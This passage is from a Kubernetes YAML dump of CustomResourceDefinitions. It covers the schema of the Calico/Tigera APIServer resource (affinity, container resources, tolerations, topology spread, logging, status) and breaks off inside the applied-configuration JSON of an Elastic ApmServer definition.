                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  description: |-
                                    Containers is a list of API server containers.
                                    If specified, this overrides the specified API server Deployment containers.
                                    If omitted, the API server Deployment will use its default values for its containers.
                                  items:
                                    description: APIServerDeploymentContainer is an
                                      API server Deployment container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the API server Deployment container by name.
                                          Supported values are: calico-apiserver, tigera-queryserver, calico-l7-admission-controller
                                        enum:
                                        - calico-apiserver
                                        - tigera-queryserver
                                        - calico-l7-admission-controller
                                        type: string
                                      ports:
                                        description: |-
                                          Ports allows customization of container's ports.
                                          If specified, this overrides the named APIServer Deployment container's ports.
                                          If omitted, the API server Deployment will use its default value for this container's port.
                                        items:
                                          properties:
                                            containerPort:
                                              description: |-
                                                Number of port to expose on the pod's IP address.
                                                This must be a valid port number, 0 < x < 65536.
                                              format: int32
                                              type: integer
                                            name:
                                              description: |-
                                                Name is an enum which identifies the API server Deployment Container port by name.
                                                Supported values are: apiserver, queryserver, l7admctrl
                                              enum:
                                              - apiserver
                                              - queryserver
                                              - l7admctrl
                                              type: string
                                          required:
                                          - containerPort
                                          - name
                                          type: object
                                        type: array
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named API server Deployment container's resources.
                                          If omitted, the API server Deployment will use its default value for this container's resources.
                                          If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                initContainers:
                                  description: |-
                                    InitContainers is a list of API server init containers.
                                    If specified, this overrides the specified API server Deployment init containers.
                                    If omitted, the API server Deployment will use its default values for its init containers.
                                  items:
                                    description: APIServerDeploymentInitContainer
                                      is an API server Deployment init container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the API server Deployment init container by name.
                                          Supported values are: calico-apiserver-certs-key-cert-provisioner
                                        enum:
                                        - calico-apiserver-certs-key-cert-provisioner
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named API server Deployment init container's resources.
                                          If omitted, the API server Deployment will use its default value for this init container's resources.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    NodeSelector is the API server pod's scheduling constraints.
                                    If specified, each of the key/value pairs are added to the API server Deployment nodeSelector provided
                                    the key does not already exist in the object's nodeSelector.
                                    If used in conjunction with ControlPlaneNodeSelector, that nodeSelector is set on the API server Deployment
                                    and each of this field's key/value pairs are added to the API server Deployment nodeSelector provided
                                    the key does not already exist in the object's nodeSelector.
                                    If omitted, the API server Deployment will use its default value for nodeSelector.
                                    WARNING: Please note that this field will modify the default API server Deployment nodeSelector.
                                  type: object
                                priorityClassName:
                                  description: PriorityClassName allows to specify
                                    a PriorityClass resource to be used.
                                  type: string
                                tolerations:
                                  description: |-
                                    Tolerations is the API server pod's tolerations.
                                    If specified, this overrides any tolerations that may be set on the API server Deployment.
                                    If omitted, the API server Deployment will use its default value for tolerations.
                                    WARNING: Please note that this field will override the default API server Deployment tolerations.
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                                topologySpreadConstraints:
                                  description: |-
                                    TopologySpreadConstraints describes how a group of pods ought to spread across topology
                                    domains. Scheduler will schedule pods in a way which abides by the constraints.
                                    All topologySpreadConstraints are ANDed.
                                  items:
                                    description: TopologySpreadConstraint specifies
                                      how to spread matching pods among the given
                                      topology.
                                    properties:
                                      labelSelector:
                                        description: |-
                                          LabelSelector is used to find matching pods.
                                          Pods that match this label selector are counted to determine the number of pods
                                          in their corresponding topology domain.
                                        properties:
                                          matchExpressions:
                                            description: matchExpressions is a list
                                              of label selector requirements. The
                                              requirements are ANDed.
                                            items:
                                              description: |-
                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                relates the key and values.
                                              properties:
                                                key:
                                                  description: key is the label key
                                                    that the selector applies to.
                                                  type: string
                                                operator:
                                                  description: |-
                                                    operator represents a key's relationship to a set of values.
                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                  type: string
                                                values:
                                                  description: |-
                                                    values is an array of string values. If the operator is In or NotIn,
                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                    the values array must be empty. This array is replaced during a strategic
                                                    merge patch.
                                                  items:
                                                    type: string
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - key
                                              - operator
                                              type: object
                                            type: array
                                            x-kubernetes-list-type: atomic
                                          matchLabels:
                                            additionalProperties:
                                              type: string
                                            description: |-
                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                            type: object
                                        type: object
                                        x-kubernetes-map-type: atomic
                                      matchLabelKeys:
                                        description: |-
                                          MatchLabelKeys is a set of pod label keys to select the pods over which
                                          spreading will be calculated. The keys are used to lookup values from the
                                          incoming pod labels, those key-value labels are ANDed with labelSelector
                                          to select the group of existing pods over which spreading will be calculated
                                          for the incoming pod. The same key is forbidden to exist in both MatchLabelKeys and LabelSelector.
                                          MatchLabelKeys cannot be set when LabelSelector isn't set.
                                          Keys that don't exist in the incoming pod labels will
                                          be ignored. A null or empty list means only match against labelSelector.
                                          This is a beta field and requires the MatchLabelKeysInPodTopologySpread feature gate to be enabled (enabled by default).
                                        items:
                                          type: string
                                        type: array
                                        x-kubernetes-list-type: atomic
                                      maxSkew:
                                        description: |-
                                          MaxSkew describes the degree to which pods may be unevenly distributed.
                                          When `whenUnsatisfiable=DoNotSchedule`, it is the maximum permitted difference
                                          between the number of matching pods in the target topology and the global minimum.
                                          The global minimum is the minimum number of matching pods in an eligible domain
                                          or zero if the number of eligible domains is less than MinDomains.
                                          For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                          labelSelector spread as 2/2/1:
                                          In this case, the global minimum is 1.
                                          | zone1 | zone2 | zone3 |
                                          |  P P  |  P P  |   P   |
                                          - if MaxSkew is 1, incoming pod can only be scheduled to zone3 to become 2/2/2;
                                          scheduling it onto zone1(zone2) would make the ActualSkew(3-1) on zone1(zone2)
                                          violate MaxSkew(1).
                                          - if MaxSkew is 2, incoming pod can be scheduled onto any zone.
                                          When `whenUnsatisfiable=ScheduleAnyway`, it is used to give higher precedence
                                          to topologies that satisfy it.
                                          It's a required field. Default value is 1 and 0 is not allowed.
                                        format: int32
                                        type: integer
                                      minDomains:
                                        description: |-
                                          MinDomains indicates a minimum number of eligible domains.
                                          When the number of eligible domains with matching topology keys is less than minDomains,
                                          Pod Topology Spread treats "global minimum" as 0, and then the calculation of Skew is performed.
                                          And when the number of eligible domains with matching topology keys equals or greater than minDomains,
                                          this value has no effect on scheduling.
                                          As a result, when the number of eligible domains is less than minDomains,
                                          scheduler won't schedule more than maxSkew Pods to those domains.
                                          If value is nil, the constraint behaves as if MinDomains is equal to 1.
                                          Valid values are integers greater than 0.
                                          When value is not nil, WhenUnsatisfiable must be DoNotSchedule.
                                          For example, in a 3-zone cluster, MaxSkew is set to 2, MinDomains is set to 5 and pods with the same
                                          labelSelector spread as 2/2/2:
                                          | zone1 | zone2 | zone3 |
                                          |  P P  |  P P  |  P P  |
                                          The number of domains is less than 5(MinDomains), so "global minimum" is treated as 0.
                                          In this situation, new pod with the same labelSelector cannot be scheduled,
                                          because computed skew will be 3(3 - 0) if new Pod is scheduled to any of the three zones,
                                          it will violate MaxSkew.
                                        format: int32
                                        type: integer
                                      nodeAffinityPolicy:
                                        description: |-
                                          NodeAffinityPolicy indicates how we will treat Pod's nodeAffinity/nodeSelector
                                          when calculating pod topology spread skew. Options are:
                                          - Honor: only nodes matching nodeAffinity/nodeSelector are included in the calculations.
                                          - Ignore: nodeAffinity/nodeSelector are ignored. All nodes are included in the calculations.
                                          If this value is nil, the behavior is equivalent to the Honor policy.
                                          This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                        type: string
                                      nodeTaintsPolicy:
                                        description: |-
                                          NodeTaintsPolicy indicates how we will treat node taints when calculating
                                          pod topology spread skew. Options are:
                                          - Honor: nodes without taints, along with tainted nodes for which the incoming pod
                                          has a toleration, are included.
                                          - Ignore: node taints are ignored. All nodes are included.
                                          If this value is nil, the behavior is equivalent to the Ignore policy.
                                          This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                        type: string
                                      topologyKey:
                                        description: |-
                                          TopologyKey is the key of node labels. Nodes that have a label with this key
                                          and identical values are considered to be in the same topology.
                                          We consider each <key, value> as a "bucket", and try to put balanced number
                                          of pods into each bucket.
                                          We define a domain as a particular instance of a topology.
                                          Also, we define an eligible domain as a domain whose nodes meet the requirements of
                                          nodeAffinityPolicy and nodeTaintsPolicy.
                                          e.g. If TopologyKey is "kubernetes.io/hostname", each Node is a domain of that topology.
                                          And, if TopologyKey is "topology.kubernetes.io/zone", each zone is a domain of that topology.
                                          It's a required field.
                                        type: string
                                      whenUnsatisfiable:
                                        description: |-
                                          WhenUnsatisfiable indicates how to deal with a pod if it doesn't satisfy
                                          the spread constraint.
                                          - DoNotSchedule (default) tells the scheduler not to schedule it.
                                          - ScheduleAnyway tells the scheduler to schedule the pod in any location,
                                            but giving higher precedence to topologies that would help reduce the
                                            skew.
                                          A constraint is considered "Unsatisfiable" for an incoming pod
                                          if and only if every possible node assignment for that pod would violate
                                          "MaxSkew" on some topology.
                                          For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                          labelSelector spread as 3/1/1:
                                          | zone1 | zone2 | zone3 |
                                          | P P P |   P   |   P   |
                                          If WhenUnsatisfiable is set to DoNotSchedule, incoming pod can only be scheduled
                                          to zone2(zone3) to become 3/2/1(3/1/2) as ActualSkew(2-1) on zone2(zone3) satisfies
                                          MaxSkew(1). In other words, the cluster can still be imbalanced, but scheduler
                                          won't make it *more* imbalanced.
                                          It's a required field.
                                        type: string
                                    required:
                                    - maxSkew
                                    - topologyKey
                                    - whenUnsatisfiable
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
                logging:
                  properties:
                    apiServer:
                      properties:
                        logSeverity:
                          default: Info
                          description: LogSeverity defines log level for APIServer
                            container.
                          enum:
                          - Fatal
                          - Error
                          - Warn
                          - Info
                          - Debug
                          - Trace
                          type: string
                      type: object
                    queryServer:
                      properties:
                        logSeverity:
                          default: Info
                          description: LogSeverity defines log level for QueryServer
                            container.
                          enum:
                          - Fatal
                          - Error
                          - Warn
                          - Info
                          - Debug
                          - Trace
                          type: string
                      type: object
                  type: object
              type: object
            status:
              description: Most recently observed status for the Tigera API server.
              properties:
                conditions:
                  description: |-
                    Conditions represents the latest observed set of conditions for the component. A component may be one or more of
                    Ready, Progressing, Degraded or other customer types.
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  type: array
                state:
                  description: State provides user-readable status.
                  type: string
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: APIServer
      listKind: APIServerList
      plural: apiservers
      singular: apiserver
    conditions:
    - lastTransitionTime: "2025-10-19T16:10:23Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-10-19T16:10:23Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.15.0
      helm.sh/resource-policy: keep
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.15.0","helm.sh/resource-policy":"keep"},"labels":{"app.kubernetes.io/instance":"elastic-operator","app.kubernetes.io/name":"eck-operator-crds","app.kubernetes.io/version":"2.14.0"},"name":"apmservers.apm.k8s.elastic.co"},"spec":{"group":"apm.k8s.elastic.co","names":{"categories":["elastic"],"kind":"ApmServer","listKind":"ApmServerList","plural":"apmservers","shortNames":["apm"],"singular":"apmserver"},"scope":"Namespaced","versions":[{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"nodes","type":"integer"},{"description":"APM version","jsonPath":".status.version","name":"version","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1","schema":{"openAPIV3Schema":{"description":"ApmServer represents an APM Server resource in a Kubernetes cluster.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"ApmServerSpec holds the specification of an APM Server.","properties":{"config":{"description":"Config holds the APM Server configuration. See: https://www.elastic.co/guide/en/apm/server/current/configuring-howto-apm-server.html","type":"object","x-kubernetes-preserve-unknown-fields":true},"count":{"description":"Count of APM Server instances to deploy.","format":"int32","type":"integer"},"elasticsearchRef":{"description":"ElasticsearchRef is a reference to the output Elasticsearch cluster running in the same Kubernetes cluster.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"http":{"description":"HTTP holds the HTTP layer configuration for the APM Server resource.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be 